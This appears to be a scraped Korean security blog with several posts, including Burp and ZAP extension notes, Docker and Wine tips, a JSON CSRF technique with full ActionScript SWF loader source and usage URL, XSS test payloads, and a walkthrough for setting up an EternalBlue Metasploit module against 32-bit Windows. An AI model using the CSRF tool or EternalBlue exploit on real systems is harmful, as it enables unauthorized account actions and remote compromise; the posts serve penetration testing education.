-Understanding and Exploiting Implanted Medical Devices
-Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Native Library
-WebAssembly: A New World of Native Exploits on the Browser
-Why so Spurious? How a Highly Error-Prone x86/x64 CPU Feature can be Abused to Achieve Local Privilege Escalation on Many Operating Systems
-Windows Offender: Reverse Engineering Windows Defender\'s Antivirus Emulator
-WireGuard: Next Generation Secure Network Tunnel
-Wrangling with the Ghost: An Inside Story of Mitigating Speculative Execution Side Channel Vulnerabilities
-Your Voice is My Passport
-ZEROing Trust: Do Zero Trust Approaches Deliver Real Security?

How to easy check?

https://www.blackhat.com/us-18/briefings.html 페이지에서..

data = document.getElementsByClassName('h2-link')

for (var i in data) {
  console.log(data[i].title)
}

자바스크립트로 돌리면 편합니다. h2-link class가 각 발표 세션 제목이기 때문이죵
Share: | Coffee Me:

Docker "No space left on device" 오류 해결 방법(in MacOS)

요즘 도커 이미지를 빌드할일이 아주 많은데, 갑자기 아래와 같은 에러가 발생했습니다.

failed to register layer: Error processing tar file(exit status 1): write /usr/local/arachni/system/gems/gems/ffi-1.9.18/lib/ffi_c.so: no space left on device

음... 결국은 no space left on device 요게 핵심인 것 같은데요, PC 용량은 넉넉하지만 왜 공간이 없다는지 의아했습니다.
구글링을 해본 결과 쓸만한 답안을 하나 구했습니다.

저 에러는 MacOS 종특이며, Docker 자체의 할당된 용량 이상으로 이미지가 남아있어 빌드 시 용량이 없다고 나오는것입니다. 관련 파일은 Docker.qcow2 파일이며 아래 디렉토리에 있습니다.

># ll ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/Docker.qcow2
-rw-r--r--@ 1 blank  staff    64G  8 16 17:57 /Users/blank/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/Docker.qcow2

용량을 같이 체크해보니.. 64GB를 차지하고 있었죠. (한 60G 이상부터 발생하는 에러라고 하네요)

Docker.qcow2 파일은 Docker 이미지를 정보를 가지고 있고 삭제 시 로컬에 저장된 모든 이미지가 날아갑니다.

># rm -rf ~/Library/Containers/com.docker.docker/Data/com.docker.driver.amd64-linux/Docker.qcow2
Docker.qcow2 파일은 도커 재시동 시 다시 생성되기 때문에 지우셔도 크게 문제 없습니다

어차피 remote로 떙겨서 빌드하기 떄문에 상관없다 판단하고 진행한 결과 잘 해결된듯 합니다.. 다만, 로컬에서만 commit 한 이미지가 날라가버렸네요 ㅜㅜ


개빡.. 요즘 자주 안써서 존재 유무조차 잊어버린듯, 테스팅용이라 중간중간 손봐뒀던건데 아쉽네요 핳

이런 일을 예방하기 위해선 주기적으로 불필요한 이미지에 대해서 정리가 필요합니다. 아래 링크보시면 잘 나와있습니다.

https://stackoverflow.com/questions/30604846/docker-error-no-space-left-on-device

대충 스크립트화 해보면..
# 볼륨제거
echo "remote volumn"
docker volume rm $(docker volume ls -qf dangling=true)

# 이미지 제거
echo "remote docker images"
docker rmi $(docker images | grep "^<none>" | awk "{print $3}")
docker images -a | sed '1 d' | awk '{print $3}' | xargs -L1 docker rmi -f

Reference

https://blog.outsider.ne.kr/1295
Share: | Coffee Me:

8/14/2018

ZAProxy - Reissue Request Scripter

Reissue Request Scripter는 제가 Burp suite에서도 정말 괜찮다고 생각했던 확장기능 중 하나입니다.

Request 정보를 가지고 Ruby,Python,Perl,Javascript 등 여러가지 언어의 코드로 변환할 수 있는 확장 기능이며, 변환된 코드 또한 굉장히 잘 동작하기 떄문에 추가적인 테스트나 PoC 코드 구성할 때 많이 사용했었습니다.


zaproxy - burp suite 버전이랑 디자인도 비슷합니다.

다만 ZAProxy랑 병행하면서 없어서 불편하다고 느끼던 기능이였는데(Market에 없는거 보고 없다고 생각한 제가 바보죠... 다른건 잘만 찾아보면서...) 어쩌다 관련 트윗을 보게되어 신선한 충격과 함께 제 환경에 적용해두었습니다.

(미리 알았더라면 이런 굳이 하나하나 만들 생각은 안했겠네요..)
h3xstream(공식)의 github에서 받을 수 있으며 zap의 경우 release 파일로 받으시는게 좋습니다(컴파일 직접 하셔도 되긴하다만, 분명 환경이 안맞겠죠..ㅋㅋㅋㅋ)

https://github.com/h3xstream/http-script-generator

git readme.md에 공식 링크가 제대로 안되어서(404..) 직접 릴리즈 디렉토리 들어가서 받으셔야 합니다. 아래 링크에서 최신버전의 .zap을 찾아 다운받습니다.

https://github.com/h3xstream/http-script-generator/tree/gh-pages/releases/zap

다른 확장 기능 로드랑 똑같이, File > Load on File 에서 .zap 파일 로드해주시면 됩니다.

Simon이 marketplace 지원 물어봤는데, 단일 repo로 간다고 이야기하셨었네요 흡 ㅜㅜ

Share: | Coffee Me:

Arachni 코드단에서 JSON Method 사용하기 (undefined method `parse' for Arachni::Element::JSON:Class 해결)

arachni 코드 수정 중 json 사용이 불가능한 경우가 있었습니다.

[ Code ]
require ‘json'
JSON.parse(data)

[ Error ]
undefined method `parse' for Arachni::Element::JSON:Class

JSON은 json library에 모듈로 정의된 걸로 알고있는데... (참고로 모듈은 중복 사용 불가합니다)

2.4.2 :207 > JSON.class
=> Module

그래서, 해결하려고 좀 삽질하다 보니 몇가지 사실을 알게되었습니다.

- arachni에선 기존 JSON 객체를 ::JSON 으로 넘기구 자세적인 JSON을 사용함
- 그래서 원본 ::JSON 모듈 사용으로 원래 json 모듈을 불러올 수 있음

코드 내부에서 ::JSON 모듈로 사용하니 기존 JSON library의 메소드를 사용할 수 있었습니다.

::JSON.parse(data)

혹시나... (없을 것 같지만) 저 처럼 arachni 코드 뜯어보시는 분이 있다면 조금이나마 도움되었으면 하네요.
Share: | Coffee Me:

Ruby에서 Cookie 값을 JSON 포맷으로 변환하기(Cookie format to JSON with hash!)

테스트하던 코드 생각나서 정리해둡니다. Ruby에서 Cookie format의 데이터를 JSON으로 변환하기 위해선 hash를 이용해서 간단하게 만들 수 있습니다.

require 'json'

def cookie_to_json cookie
  # cookie 데이터를 hash로 만들기 위한 hash 객체 하나를 만들어줍니다.
  output = Hash.new 
  # cookie 데이터를 세미콜론 기준으로 잘라서 each-do 문에 넣어줍니다.
  cookie.split(/\s*;\s*/).each do |row|
    # 세미 콜론 단위로 자르면 각각 쿠키 속성과 값이 하나의 array로 넘어오며 다시 =(equal) 단위로 잘라줍니다.
    row = row.split(/\s*=\s*/) 
    output[row[0]] = row[1].sub('=','') # cookie => hash
    # 아래 입력값 예시대로면 아래와 같은 형태의 값이 들어가며
   # row[0] : sessions
   # row[1] : =abcd1234 
   # sub 메소드로 맨앞에 = 을 날려줍니다. 
  end
  # output에는 hash 형태로 저장했기 때문에 json 라이브러리에서 제공하는 to_json을 사용할 수 있습니다. 
  # to_json 으로 바꿔서 return 합니다.
  output.to_json # hash => json return
end

puts cookie_to_json "sessions=abcd1234; role=adminzzzz;"


Share: | Coffee Me:

8/12/2018

Attack a JSON CSRF with SWF(ActionScript를 이용한 JSON CSRF 공격코드 구현)

좀 오래된(?) 기법이지만 오늘 페북 버그바운티 포럼쪽에 글 중 JSON CSRF 글 보다보니 예전에 정리해둘까 했던 내용 생각나서 글로 작성합니다.
(그와중에 300$받았다고 꺠알 자랑...)

간간히 CSRF 우회 케이스도 글로 쓰고 있는데, XSS Cheatsheet 처럼 모아둬야곘네요.

- JSON CSRF : https://www.hahwul.com/2017/05/web-hacking-parameter-padding-for.html
- PUT/DELETE CSRF : https://www.hahwul.com/2016/07/web-hacking-putdelete-csrfcross-site.html
 ... 등등 더 있겠지, 찾기 귀찮..

JSON CSRF가 잘 안되는 이유?

전에 글에서도 약간 이야기하긴했느데, JSON 요청의 경우 일반 전송 포맷에 비해 약간 까다로움이 발생합니다. 우선 <img> <form> 등의 태그로는 JSON 형태를 구현할 수 없고,
Jquey나 XML Reuqest를 쓰자니 SOP에 의해 제어되기 때문에 단순한 웹 전송 코드로는 CSRF가 되질 않습니다.

그래서 보통 Content-Type 가지고 Padding으로 풀어서 코드 구성하여 권고하고 했었습니다.

JSON CSRF with SWF

SWF를 통해서 Content-type이 Application/Javascript(즉 JSON 전송) 요청을 만드는걸 이용해서 JSON 형태의 요청에 대해서도 CSRF를 할 수 있습니다.
다만 타 도메인간 SWF 호출을 위해선 crossdomain.xml 정책에 대해서 패스가 필요하겠지요.

예전에 PUT/DELETE 쪽 CSRF 이야기할땐 그냥 Method를 바꿀 수 있어서 가능하다 였었는데, 생각해보니 Content-Type과 전송 형식을 제어할 수 있기 때문에(JSON 포맷으로 맞춰주면..) 가능해집니다.

request.requestHeaders.push(new URLRequestHeader("Content-Type", ct));
request.data = (this.root.loaderInfo.parameters.reqmethod=="GET")?"":myJson;
request.method = (this.root.loaderInfo.parameters.reqmethod)?this.root.loaderInfo.parameters.reqmethod:URLRequestMethod.POST;
var urlLoader: URLLoader = new URLLoader();
urlLoader.addEventListener(Event.COMPLETE, eventHandler);

이런식으로 그냥 urlLoader로 전송하면 되고, 대신 Content-Type만 제어해주면 됩니다.

Test tool

한번 코드 짜두고 개인 웹 서버에 올려두고 불러와서 사용하는 형태로 구성하고 테스트하면 됩니다. 다만 찾다보니 관련해서 테스트 환경을 좀 쉽게 만들자(?) 라는 느낌의 git repo가 있어 공유드립니다.

https://github.com/sp1d3r/swf_json_csrf
동일하게 단순한 Request 코드를 가지고 JSON 포맷으로 전달만 해줍니다.

http[s]://[yourhost-and-path]/test.swf?jsonData=[yourJSON]&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=http[s]://[targethost-and-endpoint]

loder

package
{
   import flash.display.Sprite;
   import flash.events.Event;
   import flash.external.ExternalInterface;
   import flash.net.URLLoader;
   import flash.net.URLRequest;
   import flash.net.URLRequestHeader;
   
   public class source extends Sprite
   {
       
      
      public function source()
      {
         var _loc3_:* = null;
         super();
         var _loc6_:String = this.root.loaderInfo.parameters.jsonData;
         var _loc4_:String = this.root.loaderInfo.parameters.endpoint;
         var _loc1_:String = !!this.root.loaderInfo.parameters.php_url?this.root.loaderInfo.parameters.php_url:"";
         var _loc7_:String = _loc1_ != ""?_loc1_:_loc4_;
         var _loc2_:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
         if(_loc1_ != "")
         {
            _loc3_ = new URLRequest(_loc7_ + "?endpoint=" + _loc4_);
         }
         else
         {
            _loc3_ = new URLRequest(_loc7_);
         }
         _loc3_.requestHeaders.push(new URLRequestHeader("Content-Type",_loc2_));
         _loc3_.data = this.root.loaderInfo.parameters.reqmethod == "GET"?"":_loc6_;
         _loc3_.method = !!this.root.loaderInfo.parameters.reqmethod?this.root.loaderInfo.parameters.reqmethod:"POST";
         var _loc5_:URLLoader = new URLLoader();
         _loc5_.addEventListener("complete",eventHandler);
         try
         {
            _loc5_.load(_loc3_);
            return;
         }
         catch(e:Error)
         {
            trace(e);
            return;
         }
      }
      
      public function eventHandler(param1:Event) : void
      {
         ExternalInterface.call("process",param1.target.data);
      }
   }
}
Share: | Coffee Me:

8/11/2018

Burp suite Extension 개발에 대한 이야기(Story of Writing Burp suite extension)

최근에 Burp suite Extension 만들고 있던 것 어느정도 완성되다보니 만들면서 느꼈던점들 좀 공유할까 합니다.

완전 처음은 아니지만, 코드량이 생각보다 많아지니 의외로 많은걸 공부하게 되었네요(덕분에 Burp 쪽 API는 확실히 감옵니다. Buby 쓸떄 유용하겠네요)


Language

우선 개발 언어입니다. Burp suite는 기본적으로 Java application이기 때문에 확장기능 또한 Java로 구현되며 타 언어로 포팅된 Jruby, Jython을 사용해서 개발도 가능합니다.
(환경적으로 지원하는건 이 3가지 입니다)

Java, Jruby, Jython


개인적으로 Java는 별로 안좋아하기 때문에 익숙한 Ruby 기반으로 개발을 시작했었습니다. 처리 로직 부분은 Ruby로 짜서 편하긴한데, JRuby에서 UI 다루는건 정말 최악입니다..
Swing 을 이용해서 처리하는데, Swing 자체는 그렇다 쳐도 Burp쪽에서 제공하는 API 데이터가 Java 기준이라 알아서 바꿔서 써야합니다.

그리서 내린 결론은...

로직이 복잡하면 자신있는 언어(Ruby, Python)로, 보통의 기능의 경우 Java로 짜는게 좋습니다.
(저도 결국은 UI에서 고생했죠. 크로스 환경이라 당연히 에러도 에외처리 구문 안주면 아예 안잡힙니다)

Jruby, Jython으로 개발 시 많이 발생하는 문제

위에서도 약간 이야기 드렸지만 Java application을 Ruby로 짜다보니 뜻밖의 문제들이 발생했었습니다.

일단 에러 확인 자체가 무조건 begin-rescue-end 구절로 예외처리 해야 확인이 가능해서 문제가 있을 것 같은 구간에 계속 예외처리 하며 체크를 할 수 밖에 없습니다.
(그러다 보면 자연스레 안전한 코드로 바뀌어갈순 있어도.. 많이 복잡해져 보입니다)

두번째는 Object type 관련 부분입니다. Jruby에서 Java type을 사용하는건 크게 문제되진 않는데, Burp에서 구현된 interface나 object를 사용할 때 Object type 때문에 문제가 발생하곤 합니다.
어떤건 Ruby에서 직접 사용 가능하고 어떤건 bytes, 어떤건 to_java로 치환해서 써야하다 보니 코드량이 많아질수록 내가 뭘짜고 있는건지 헷갈려지기 시작합니다.

안그래도 one-line 코드일 가능성이 커서(확장기능이니깐..) 더더욱 심오해지죠.

주로 참고한 Reference site

공식 홈이 가장 좋은 곳이긴 합니다만 모두 Java 기반이기 때문에 필요에 따라 Ruby쪽 type으로 캐스팅해서 사용하셔야합니다. 그래서 그냥 Java로 짜는게 편할 것 같다고 이야기드렸던거구요.

1. PortSwigger Burp API Reference
우선 가장 좋은 공식 API Reference 입니다.

https://portswigger.net/burp/extender/api/burp/package-summary.html

모든걸 알 순 없지만 아래 주요 Interface로 적어놓은 부분은 꼭 숙지하시는게 좋다고 생각합니다.

2. Buby
Buby는 Burp에서 Ruby를 사용할 수 있게 지원해주는 Extension입니다. Burp API를 직접 호출할 수 있기 때문에 개발할 때 참고하여 사용하기에도 좋고 Buby 자체에서 제공하는 Reference도 많이 유용합니다.

http://tduehr.github.io/buby/doc/frames.html

나머진 다른 확장 기능 코드 참고하면서 진행하면 할만합니다. 위에 2개가 가장 정확하고 좋습니다.

주요 Burp suite interface

튜토리얼처럼 하나하나 설명할 글은 아니여서(너무 많음...) 그냥 꼭 알았으면 하는 interface만 정리해둡니다. 여러가지 형태의 툴을 만드는데 거의 공통적으로 사용되는 부분들입니다.

IBurpExtenderCallbacks

IHttpRequestResponse

IExtensionHelpers



1. IBurpExtenderCallbacks
callbacks은 burp 전반적인 기능들을 담고 있는 callback interface 입니다. request/response에 대한 분석 기능, 신규 request 생성 등 직접 구현하기 귀찮은 부분들이 Method로 정의되어 있어 개발 로드를 많이 줄여줍니다.

2. IHttpRequestResponse
Burp에서 사용하는 Object인데, Request,Response에 대한 정보를 담고있는 객체입니다. 단순하게 request/response 값을 문자로 저장하고 있는게 아닌 여러가지 상태 정보와 Method 들을 같이 담고있어서 UI단 처리가 필요할 때 꼭 잘 알아두셔야 하는 부분입니다. 전 여기서 고생이 제일 많았던 것 같네요.

getComment()
This method is used to retrieve the user-annotated comment for this item, if applicable.
java.lang.String
    
getHighlight()
This method is used to retrieve the user-annotated highlight for this item, if applicable.
IHttpService
    
getHttpService()
This method is used to retrieve the HTTP service for this request / response.
byte[]
    
getRequest()
This method is used to retrieve the request message.
byte[]
    
getResponse()
This method is used to retrieve the response message.
void
    
setComment(java.lang.String comment)
This method is used to update the user-annotated comment for this item.
void
    
setHighlight(java.lang.String color)
This method is used to update the user-annotated highlight for this item.
void
    
setHttpService(IHttpService httpService)
This method is used to update the HTTP service for this request / response.
void
    
setRequest(byte[] message)
This method is used to update the request message.
void
    
setResponse(byte[] message)
This method is used to update the response message.

등...

3. IExtensionHelpers
helpers는 callbacks와 어느정도 유사한 기능을 제공합니다. 우선 callbacks.helper를 가져와서 사용하기 때문에 callback에 종속되어 있긴 하지만, 내부적으로 여러가지 기능을 가지고 있어 대다수 처리 로직에 인자값으로 넘겨주거나 전역화해서 사용하는게 좋습니다.
저는 callbacks, helpers 2개는 거의 인자값으로 넘겨준 것 같네요.

여기도 중요한 method가 많으니 내용 잘 알아두시는게 좋습니다.

Sample code(intruder custom payload)

Burp extender 페이지에서 몇몇개의 Sample 코드를 제공합니다. Java, Jruby, Jython 모두 제공하며 초반에 툴 만드는 프레임 잡기에 괜찮습니다.

https://portswigger.net/burp/extender

Intruder > Custom payload 만드는 코드인데(예제) 보면 대충 어떤게 뭐하는 부분인지 감 오실겁니다. 주석 넣어두었으니 참고하세용

# Burp API 구간은 모두 Java 코드여서 java_import로 불러와야합니다.
java_import 'burp.IBurpExtender'
java_import 'burp.IIntruderPayloadGeneratorFactory'
java_import 'burp.IIntruderPayloadProcessor'
java_import 'burp.IIntruderPayloadGenerator'

# hard-coded payloads
# [in reality, you would use an extension for something cleverer than this]

PAYLOADS = [                               # 아시다싶이 정확한 Payload는 byte 처리가 가장 좋습니다.
  "|".bytes.to_a,                          # byte가 아니면 <svg^Lonload=alert(45)> 이런거 처리하기가 까다롭죠...x0c..
  "<script>alert(1)</script>".bytes.to_a
]

class BurpExtender
  include IBurpExtender, IIntruderPayloadGeneratorFactory, IIntruderPayloadProcessor   # 사요하실 Interface 정해줍니다. 기능이 많아질수록 줄줄이 늘어납니다.

  #
  # implement IBurpExtender
  #

  def registerExtenderCallbacks(callbacks)    # 여기가 실제로 init이 되는 부분입니다. function name은 지정되어 있고..
    # obtain an extension helpers object
    @helpers = callbacks.getHelpers           # 위에서 이야기드렸던 것처럼 callback에서 helper를 받아옵니다.

    # set our extension name
    callbacks.setExtensionName "Custom intruder payloads"

    # register ourselves as an Intruder payload generator
    callbacks.registerIntruderPayloadGeneratorFactory self

    # register ourselves as an Intruder payload processor
    callbacks.registerIntruderPayloadProcessor self
  end

  #
  # implement IIntruderPayloadGeneratorFactory
  #

  def getGeneratorName()
    "My custom payloads"
  end

  def createNewInstance(attack)
    # return a new IIntruderPayloadGenerator to generate payloads for this attack
    IntruderPayloadGenerator.new
  end

  #
  # implement IIntruderPayloadProcessor
  #

  def getProcessorName()
    "Serialized input wrapper"
  end

  def processPayload(currentPayload, originalPayload, baseValue)   # Intruder에서 payload 선택 후 공격 시 processPayload 함수가 호출됩니다.
    # decode the base value
    dataParameter = @helpers.bytesToString(
        @helpers.base64Decode(@helpers.urlDecode baseValue))       # 헐 지금보니깐 helpers 에서 base64ecode 지원하네... 따로 require해서 썼는데

    # parse the location of the input string in the decoded data
    start = dataParameter.index("input=") + 6
    return currentPayload if start == -1

    prefix = dataParameter[0...start]
    end_ = dataParameter.index("&", start)
    end_ = dataParameter.length if end_ == -1

    suffix = dataParameter[end_..-1]

    # rebuild the serialized data with the new payload
    dataParameter = prefix + @helpers.bytesToString(currentPayload) + suffix
    return @helpers.stringToBytes(
        @helpers.urlEncode(@helpers.base64Encode dataParameter))
  end
end

#
# class to generate payloads from a simple list
#

class IntruderPayloadGenerator
  include IIntruderPayloadGenerator

  def initialize()
    @payloadIndex = 0
  end

  def hasMorePayloads()
    @payloadIndex < PAYLOADS.length
  end

  def getNextPayload(baseValue)
    payload = PAYLOADS[@payloadIndex]
    @payloadIndex = @payloadIndex + 1

    return payload
  end

  def reset()
    @payloadIndex = 0
  end
end

각 인터페이스마다 지정된 함수 이름이 있어 맞춰주시면 여러개 형태의 확장 기능도 동시에 올릴 수 있습니다.
제가 만들던것도 여러개 기능이 조합된 형태죠.

Conclusion

Java쪽 Burp Extension들 보면 대다수가 모든 interface를 만들어놓고 사용하더군요. 개발에 편리성은 있겠으나 불필요한 동작이 발생하고 결론적으로 코드를 나누기 까다로운 jruby나 jython의 경우 시도하기 좀 껄끄러운 방식입니다.
되도록이면 Java로 구현하는걸 추천하되 이종 언어간 개발이나 삽질을 경험해보고 싶다면 Jruby, Jython 추천드립니다.

나아아아아아아아아 중에 시간나면 개인 PJT로 하나 만들어서 올려보것습니다.
(기대 마셔요. 밀린 PJT가 한두개가 아니라 ... ㅋㅋㅋㅋㅋㅋ, 심지어 a2sv 갑자기 문의가 막 들어오고 난리, 난 회사 일하기도 바쁜데)
Share: | Coffee Me:

8/02/2018

EternalBlue exploit for x86(32 bit) devices - 32비트 pc에 대한 EternalBlue

예전이나 지금이나 인기있는 Windows 취약점이 EternalBlue에 대한 이야기를 할까 합니다.

별다른건 아니고, Metasploit에서 EternalBlue Exploit을 하게되면 Base taget이 64비트 이여서 32비트 PC에는 바로 적용이 어려운데요,
찾다보니 32비트 버전으로 세팅해놓은 분이 있어 내용 공유드립니다.

Setting

우선 wine(32비트 버전), winetrcks 으로
#> apt-get install wine -y
#> apt-get install winetricks -y
#> dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y

or

#> apt install wine-stable
#> apt-get install winetricks
 (Ubuntu 의 경우 wine-stable 설치 시 32비트도 같이 깔리기 때문에 add-architecture를 해줄 필요가 없습니다. )

이후 ElevenPaths의 EternalBlue쪽을 Clone 받아 cp eternalblue_doublepulsar.rb를 msf modules 디렉토리로 넣어줍니다.

#> git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
#> cd Eternalblue-Doublepulsar-Metasploit/

metasploit-framework 디렉토리를 설치 방식에 따라 다르긴 하지만 대체로 /usr/share, /opt 하위이게 때문에 확인해보시고 넣어주시면 됩니다.

#> cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

or

#> cp eternalblue_doublepulsar.rb /opt/metasploit-framework/modules/exploits/windows/smb

마지막으로 root 계정 상태에서 wine 사용을 위해 root 계정에도 wine directory를 만들어줍니다.

#> mkdir -p /root/.wine/drive_c/

스크립트로 요약하면 아래와 같습니다.

Scripts(https://gist.github.com/hkm/ff4180b4d13ca7d8a93d5b3cff848afc)
apt-get update -y
apt-get upgrade -y
apt-get install wine -y
apt-get install winetricks -y
dpkg --add-architecture i386 && apt-get update && apt-get install wine32 -y
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
cd Eternalblue-Doublepulsar-Metasploit/
cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
mkdir -p /root/.wine/drive_c/

Exploit!

원래 etrenalblue는 대상 target이 64bit입니다.

HAHWUL (Sessions: 0 Jobs: 0) exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.
   GroomDelta          5                yes       The amount to increase the groom count by per try.
   MaxExploitAttempts  3                yes       The number of times to retry the exploit.
   ProcessName         spoolsv.exe      yes       Process to inject payload into.
   RHOST                                yes       The target address
   RPORT               445              yes       The target port (TCP)
   SMBDomain           .                no        (Optional) The Windows domain to use for authentication
   SMBPass                              no        (Optional) The password for the specified username
   SMBUser                              no        (Optional) The username to authenticate as
   VerifyArch          true             yes       Check if remote architecture matches exploit Target.
   VerifyTarget        true             yes       Check if remote OS matches exploit Target.


Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

그치만 추가로 넣어준 모듈을 보면..(제가 테스트한다고 하위 디렉토리에서 작업하다 보니 2개가 다 잡혔네요)

   exploit/test/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar                   normal   EternalBlue
   exploit/windows/smb/eternalblue_doublepulsar                                                normal   EternalBlue

Description에는 32비트도 지원한다고 나오고, 실제로 Exploit 시 wine을 이용해서 DLL 파일을 받아 Exploit을 진행합니다. 덕분에 32비트 Payload 사용이 가능해져 32비트 대상으로도 공격이 가능합니다.

x86 & x64 !!
Share: | Coffee Me:

우분투 18.04 에서 카카오톡 설치하기(Install kakaotalk on ubuntu 18.04)

📕특이사항
WineTrick에서 사용하는 MPSetup.exe가 download.microsoft.com에서 삭제된 것 같습니다. 우선 대안으론 직접 받아서 설치하면 되긴하는데, 아무래도 외부에서 받는 파일이니 바이러스 토탈 결과나 원본 있다면 원본이랑 비교 후 설치하시는게 좋을듯 싶습니다..아래 댓글 2개 참고해주세요.

http://www.hahwul.com/2018/08/install-kakaotalk-on-ubuntu-18.04.html?showComment=1561430084818#c2529029069859739452
http://www.hahwul.com/2018/08/install-kakaotalk-on-ubuntu-18.04.html?showComment=1561801290927#c8334058455147796855



오랜만에 다시 우분투로 돌아왔습니다. (debian, ubuntu, arch, blackarch, kali, blackubuntu 무한루프..)

가장 지원성이 높은 OS기 때문에 간만에 카톡 설치를 진행해볼까 합니다.


Wine 설정하기

우선 Wine을 설치해줍니다. apt install로 설치 시 자동으로 x86 버전 또한 같이 깔립니다. (apt-get 으로 설치하시는 경우에는 32비트용 또한 따로 설치해주셔야 합니다)

#> apt install wine-stable

그다음 wine 설정을 초기화줍니다. 다만 사용자 계정에서 진행해주셔야 하니 root로 로그인해서 설치중이시라면 사용자 계정으로 스위칭해준 후 진행합니다.

#> WINEARCH=win32 WINEPREFIX=~/.wine wine wineboot

기존 wine으로는 dll 등 떄문으로 인해 바로 카카오톡 사용이 어렵습니다. winetricks 를 이용해서 관련 모듈들을 설치해주어야만 깔끔하게 사용할 수 있습니다.
Winetricks 에서 스크립트를 받은 후 실행해줍시다.

#> wget https://raw.githubusercontent.com/Winetricks/winetricks/master/src/winetricks
#> chmod 777 winetricks

아, 스크립트를 실행하기 전 cabextract를 설치해줍니다. 해당 스크립트는 cabextract를 사용하기 때문에 미리 설치가 필요합니다.

#> apt-get install cabextract

설치 이후 winetrcks를 실행하면 체크박스가 있는 화면이 나타나게 됩니다.

#> ./winetricks

1. Select the default wineprefix 체크(Checked)

2. Install a Windows DLL or component 체크(Checked)

3. gdiplus, msxml6, riched30, wmp9 체크(Checked)

(거꾸로 찾으시면 금방 찾습니다)

winetricks 화면

wmp9(미디어플레이어), 각각 설치 화면이 별도로 발생하기 떄문에 클릭클릭 해줘야합니다. 

이후 계속 넘어가 주시면 gdiplus, msxml6 등등 각각 항목에 대해 설치를 진행하게 됩니다. 모두 완료되면 일단 준비는 어느정도 끝났습니다.

Wine 내에서는 리눅스와 다르게 폰트가 적용되기 때문에 한글이 없는 경우에는 폰트를 깔아주시기 바랍니다. (뭐 영어로 쓰실거면 굳이 상관없습니다..)

Wine으로 카카오톡 설치하기

카카오톡 공식 홈페이지에서 PC 버전 설치파일을 받아줍시다. xp 버전과 이후 버전으로 나뉘는데 Wine 구성 설정에 따라 받으시면 됩니다.
기본은 xp 입니다.

#> wget http://app.pc.kakao.com/talk/win32/xp/KakaoTalk_Setup.exe

or

#> wget http://app.pc.kakao.com/talk/win32/KakaoTalk_Setup.exe

설치 이후 바로 실행하면 카톡 사용이 가능힙니다.


약간의 사용 편의를 위해 Desktop 정보(Application) 을 등록해줍니다. Wine 디렉토리에 보면 이미 Desktop 파일이 구성되어 있는데, 아이콘이나 Language 등 필요한거 수정하시고 applications 로 넣어주시면 됩니다.

#> cd .local/share/applications/wine/Programs/KakaoTalk/
#> vim KakaoTalk.desktop

Icon 변경, LANG 처리 등등

#> cp KakaoTalk.desktop /usr/share/applications/

Applications에 등록되어 아이콘으로도 나타납니다

과정을 요약해서 스크립트로 바꾸면...

[ script.sh ]
sudo apt install wine-stable
WINEARCH=win32 WINEPREFIX=~/.wine wine wineboot
wget https://raw.githubusercontent.com/Winetricks/winetricks/master/src/winetricks
chmod 777 winetricks
sudo apt-get install cabextract
./winetricks

# 1. Select the default wineprefix 체크(Checked)
# 2. Install a Windows DLL or component 체크(Checked)
# 3. gdiplus, msxml6, riched30, wmp9 체크(Checked / 거꾸로 찾으시면 금방 찾습니다) 

wget http://app.pc.kakao.com/talk/win32/xp/KakaoTalk_Setup.exe
cp KakaoTalk.desktop /usr/share/applications/

Reference

https://hiseon.me/2018/07/02/ubuntu-kakaotalk/
https://github.com/Winetricks/winetricks
Share: | Coffee Me:

JRuby Burp suite 확장 기능 개발 중 발생한 에러(failed to coerce [Lburp.IHttpRequestResponse; to burp.IHttpRequestResponse)

글 좀 쓰고 자려했는데, 잡다한 일이 꼬여.. 글은 패스하고 간단하게 메모 하나만 작성해둡니다.

어제 Burp 확장 기능을 만들던 중 이상한 에러를 하나 만났는데, 아래와 같습니다.

failed to coerce [Lburp.IHttpRequestResponse; to burp.IHttpRequestResponse

코드 구간은 이런 부분인데요, invocation(IHttpRequestResponse)가 Request/Response 데이터 재 사용을 위해 saveBuffersToTempFiles(IHttpRequestResponse) 함수를 통해 저장하는 과정에서 발생한 에러입니다.
invocation의 type과 saveBuffersToTempFiles의 인자값 타입이 같은데 왜 에러가 나는지 이해가 가지 않는 상황이였죠.

def createMenuItems(invocation)
  ..생략..
  requestResponse = invocation.getSelectedMessages
  ..생략..
  Blahblah~~ @callbacks.saveBuffersToTempFiles(requestResponse) # I think, error in this line
end

그래서.. portswigger community에 올리고 트위터로 수소문하던중.. 어이없게 해결되어 버립니다.
https://support.portswigger.net/customer/en/portal/questions/17364820-failed-to-coerce-lburp-ihttprequestresponse-to-burp-ihttprequestresponse?new=17364820

invocation으로 받은 IHttpRequestResponse는 여러개가 선택될 수 가능성을 가지기 때문에 기본이 배열 형태로 넘어오게 됩니다. 그래서 Type 에러가 발생한 것이고 앞단에 each do 로 하나씩 빼서 돌려주면 잘 돌아갑니다.

requestResponse = invocation.getSelectedMessages
requestResponse.each do | m |
blahblah~~~
end



Share: | Coffee Me:

8/01/2018

Crystal - Ruby와 비슷하며 빠른 프로그래밍 언어(Fast a C, Slick as Ruby)

올 초쯤에 Crystal이란 언어에 대해 잠깐 이야기들은적이 있습니다. Ruby 문법과 유사하다는 것만 듣고 드디어.. 조금 더 살펴봤네요. 어떤 언어인지 정도만 정리해둘까 합니다.

로고는 맘에드넹

Crystal?

Crystal은 루비 문법 스타일과 유사한 형태를 가지며 Static typing & LLVM 컴파일러를 사용하는 프로그래밍 언어입니다. Ruby의 자유로운 문법 스타일과 C의 퍼포먼스(런타임 성능)을 모두 챙기려고 하는 언어지요.

